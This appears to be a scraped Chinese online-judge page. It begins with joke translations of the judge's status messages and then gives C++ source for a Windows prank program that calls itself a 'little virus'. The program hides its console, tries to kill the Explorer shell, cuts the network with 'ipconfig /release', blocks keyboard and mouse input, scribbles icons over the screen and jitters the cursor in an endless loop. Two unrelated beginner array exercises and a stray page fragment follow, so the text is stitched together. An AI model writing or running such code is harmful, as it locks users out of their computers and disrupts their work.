Pending 等待复活
Judging 正在复活
Accepted 复活成功
Wrong Answer 复活失败
Partially Correct 你复活得不完全
Runtime Error 复活错误
Time Limit Exceeded 复活超时
Memory Limit Exceeded 复活次数太多
Output Limit Exceeded 复活次数贼多
File Error 请使用文件复活
Invalid Interaction 请和我交换复活
Compile Error 复活故障
No Testdata 不能复活
Judgement Failed 复活出锅了
System Error 复活器爆炸了
Unknown 复活器爆炸了
#include
#include
#include
#include <windows.h>
#include <time.h>
#include<stdio.h>
#include <tchar.h>
#include
#include<winable.h>
#include <Mmsystem.h>
using namespace std;
void Play()
{
//获取桌面宽
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
//获取桌面高
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
//获取窗口句柄
HWND hDesktop = GetDesktopWindow();
//获取窗口dc
HDC hdc = GetWindowDC(hDesktop);
//获取光标位置
POINT cursor;
GetCursorPos(&cursor);
//在光标位置处画错误图标
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_WINLOGO));
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_INFORMATION));
//在屏幕随机位置画上警告图标
if (rand() % 3 == 0) //取随机数,如果此数能被3整除则在屏幕上任意位置画一个警告标志
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WINLOGO));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_ERROR));
}
int x=0,y=0,a=0,m=0;
VOID BlackScreen(VOID)
{ //暂时黑屏
PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
}
int main(){
HDC hdc = GetDC(NULL); // 获取屏幕设备上下文句柄
// 释放设备上下文句柄
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd)
{
ShowWindow(hwnd,SW_HIDE);
}
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
ofstream outfile("asdfghjklyhbthnuhv.txt",ios::out);
if (!outfile)
{
cerr<<"open error"<<endl;
return 0;
}
outfile<<"let`s play!______little virus ]~( ̄▽ ̄)~ヾ(≧▽≦)o";
outfile.close();
system("start asdfghjklyhbthnuhv.txt");
system("taskkill /im explore.exe/f");
system("ipconfig /release"); //断开网络
BlockInput(TRUE);
RECT rect;
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
POINT p;
srand((unsigned) time(NULL));
HWND Wnd= GetForegroundWindow();
ShowWindow(Wnd, SW_HIDE);
while(1)
{
Play();
Play();
Sleep(3);
GetCursorPos(&p);
x = rand() % 2;
y = rand() % 2;
a = rand() % 2;
m=rand()%13;
if(a==1)
{
SetCursorPos(p.x+x+3,p.y+y+3);
SetCursorPos(p.x-x-3,p.y+y-3);
SetCursorPos(p.x+x+3,p.y+y-3);
SetCursorPos(p.x-x-3,p.y+y+3);
}
else if(a==0)
{
SetCursorPos(p.x-x-3,p.y-y-3);
SetCursorPos(p.x+x+3,p.y-y+3);
SetCursorPos(p.x-x-3,p.y-y+3);
SetCursorPos(p.x+x+3,p.y-y-3);
}else if(m==0){
SetCursorPos(p.x-x-2,p.y-y-0);
SetCursorPos(p.x+x+2,p.y-y+0);
SetCursorPos(p.x-x-0,p.y-y+2);
SetCursorPos(p.x+x+0,p.y-y-2); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
}
}
}
#include<bits/stdc++.h>
using namespace std;
int main(){
bool a[3][4];
for(int i=0; i<3; i++){
for(int j=0; j<4; j++){
cin>>a[i][j];
}
}
for(int i=0; i<3; i++){
for(int j=0; j<4; j++){
cout<<a[i][j]<<" ";
}
cout<<endl;
}
}
#include<bits/stdc++.h>
using namespace std;
int main(){
double a[3][3];
for(int i=0; i<3; i++){
for(int j=0; j<3; j++){
cin>>a[i][j];
}
}
cout<<a[2][2]<<" "<<a[1][1];
}
firstChild
:
null